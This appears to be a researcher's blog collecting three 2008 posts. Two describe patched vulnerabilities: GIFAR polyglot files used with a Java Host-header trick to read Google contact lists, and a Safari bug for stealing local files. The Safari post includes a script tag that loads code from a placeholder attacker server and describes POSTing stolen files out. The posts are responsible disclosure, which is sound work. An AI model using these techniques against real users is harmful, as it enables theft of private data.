Wednesday, December 17th, 2008

SUN Fixes GIFARs

Last week, Sun released a patch for a vulnerability I reported to them.  The patch I’m talking about fixes the “GIFAR” issue.  I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with a simple example of how an attacker could use a GIFAR in an attack.  Now that the issue has been patched, I’d like to cover some of the things related to “GIFARs” that I thought were interesting (including a few items that were not mentioned at Black Hat).

Before we begin, I’d like to thanks Chok Poh from Sun’s Security team.  Chok was vital in fixing the GIFAR issue.  This patch required some significant thought as to how to best handle this issue.  Chok was very responsive and was smart enough to understand the impact of the unusual issue.  I’d also like to thank the Google Security team.  Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users.  Now, on to the show!

As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix.  There are a few different places that talk about this technique (pdp has a great write up), but I first learned of the technique from Lifehacker.com in this post.  Once the GIFAR is created, we examine the file in a HEX editor.  The header of the file looks something like this:

header

The footer looks something like this:

Footer

We now have a file that is both a valid GIF and valid Java JAR.  We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web).  Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain.  Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag.  I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.

When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain.  The actual domain it was served from lh4.ggpht.com.  Below is a screenshot of the domain Google was using to serve the user supplied images.

Google Alias

After some investigation, we realized that ggpht.com was actually an alias for google.com.  So, we could manually change our request from lh4.ggpht.com to lh4.google.com.

lh4.google.com

Bingo!  Now we are on a google.com domain!  From here, a lot of attackers begin to think “Java has raw sockets…”.  It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques.  Instead of raw sockets, we chose to use Java’s HTTPUrlConnection object.  We chose the HTTPUrlConnection object for two very good reasons.  The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains.  So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies.  We’ll get to the second reason here in a bit.

httpurlconnection1

Now, even though we are now on the google.com domain, we still have a problem.  The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in previous posts).  Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com.  The problem here is lh4.google.com doesn’t store anything interesting.  This problem leads us to the second reason we chose the HTTPUrlConnection object.

Java’s HTTPUrlConnection object has a method named “setRequestProperty”.  Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests.  We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain.  As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&max=500 (Google has removed this contact list).  I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&max=500.  I also set the HOST header to groups-beta.google.com.

host

When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced.  Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through.  Once Google receives the request, it checks the HOST header to determine where the resource should be served from.  The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com.  In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.

All your contacts are belong to us

It’s easy to blame Java (Sun) for this issue.  After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars.  In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue.  When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain.  This isn’t the first time an image was repurposed like this, IE has had MIME sniffing issues with images, Flash had crossdomain.xml issues with images, and now we have GIFARs.  The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain.  As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.

Posted by xssniper | Filed in Web Application Security | 2 Comments »

Wednesday, November 19th, 2008

Stealing Files with Safari

Apple recently patched a vulnerability Nitesh “Leisure Suit” Dhanjani and I reported to them last week (CVE-2008-4216).  We had reported a similar vulnerability to Apple about two months ago (CVE-2008-3638).  In fact, the exploitation technique was so similar we held off releasing details until this 2nd patch was released.

The basic gist of this vulnerability pits a browser and a browser plug-in against each other in order to cross a subtle, but important boundary.  The issue starts simply enough with a victim visiting an attackers webpage.  Once on the attacker’s webpage, the attacker simply loads a Java Applet.  Inside of the applet is a call to getAppletContext().showDocument(URL);



getAppletContext().showDocument(URL) basically has the browser open a new browser window with the URL passed to showDocument().  Normally, browsers will not let remote sites open new browser windows which point to local files.  It seemed that Safari had some issues determining the specific  “rights” for windows opened via Java Applets and allowed getAppletContext().showDocument() to force the browser to open a file from the user’s local file system. 

Now here is where things get interesting…  Opening a local file in the browser isn’t very useful unless we can open and render/execute content that we control.  There are a couple ways plant our content in a predictable location using Safari.  Safari, by default has a reasonably predictable location for cached/temporary files.  We can use these predictable locations to load our content, we’ll have some guessing to do, but it works…  Safari can also be forced to dump user controlled contents to the “c:\temp” directory (in Windows, of course), which makes thing far more predictable making the attack a lot less noisy.  I’m not sure if Apple considers the “c:\temp” issue a bug, but just in case they do I won’t go over the details for the “c:\temp” trick just yet.

In case you’re wondering, Internet Explorer and FireFox use a random, 8 character directory name to prevent guessing of temporary file locations.

Once we’ve planted our contents to a predictable location, it’s now simply a matter of having the Java Applet call the file we’ve planted.  We have unlimited guesses to get the location and file name right, but the more guesses the more noisy the attack (obviously).  The file we’ve planted is an HTML file which loads an XMLHTTP object, which is used to steal files from the local file system.  You can include a <script src=”http://attacker-server/remote-control.js></script> if you want to remotely control the script running on the local file system.  Safari allows script to be executed from local files without warning, so once we get the right location and filename for our planted HTML file, files can be stolen off the local file system without user interaction or warnings.



Internet Explorer presents a warning before executing script from local files and FireFox (as of FireFox3) restricts XMLHTTP loaded from the local file system to the directory the html file was loaded from (and  any subdirectories).



Once we have the contents of the file in JavaScript space, we simple encode the contents and POST the contents to our attacker web server.  There you go… Stealing Files with Safari!

Posted by xssniper | Filed in Security | Comment now »

Wednesday, November 19th, 2008

Pwnichiwa from PacSec!

WOW, it’s been a busy couple of weeks!  I was in Tokyo last week for PacSec.  PacSec was a great time, there were some GREAT talks, and Dragos knows how to party!  I co-presented a talk entitled “Cross-Domain Leakiness: Divulging Sensitive Information and Attacking SSL Sessions” with Chris Evans from Google.  I’m curious if this was the first time in history a Google Guy and a Microsoft Guy got on stage together and talked about security…  Anyway, you can find the slides here:

Chris is a super smart guy and demo’d a ton of browser bugs, most of which he will eventually discuss on his blog (which you should check out).  I had a chance to demo a few bugs and went over some techniques to steal Secure Cookies over SSL connections for popular sites.  Now, before I get into the details of the Safari File Stealing bug that was recently patched (provided in the next post) I did want to talk a bit about WebKit.

<WARNING Non-Technical Content Follows!>

You were warned!  Some friends and I have been playing around with Safari (we’ve got a couple bugs in the pipeline).  As everyone knows, Safari is based on the WebKit browser engine.  I think WebKit is a great browser engine and apparently so does Google because they use it for their Google Chrome.  So, once I discover and report a vulnerability in Safari for the Windows, Apple must also check Safari for Mac, and Safari Mobile for iPhone.  Additionally, “someone” should probably let Google know as their Chrome browser also takes a dependency on WebKit.  Now, who is this “someone”?   Is it the researcher?  Is it Apple?  Does the researcher have a responsibility to check to ensure this vulnerability doesn’t affect Chrome?  Does Apple have a responsibility to give Google the details of a vulnerability reported to them?  Our situation works today because we’ve got great people working for Apple and Google (like Aaron and Chris) who have the means to cooperate and work for the greater good.  However, as security moves higher and higher on the marketing scorecards and becomes more and more of a “competitive advantage” at what point will goodwill stop and the business sense take over?

Let’s contemplate a scenario that isn’t so black and white…  Let’s say two vendors both take a dependency on WebKit.  An issue is discovered, but the differences in the two browsers make it so that the implementation for the fix is different.  Vendor A has a patch ready to go, Vendor B on the other hand has a more extensive problem and needs a few more days/weeks/months.  Should Vendor A wait for Vendor B to complete their patch process before protecting their own customers and pushing patches for their own products?

Let’s flip the scenario… Let’s say Vendor A has a vulnerability reported to them.  Vendor A determines that the issue is actually in WebKit.  Vendor A contacts Vendor B and discovers that Vendor B isn’t affected… does this mean Vendor B knew about issue, fixed the issue, and didn’t tell Vendor A?  Do they have a responsibility to?

Posted by xssniper | Filed in Uncategorized | 1 Comment »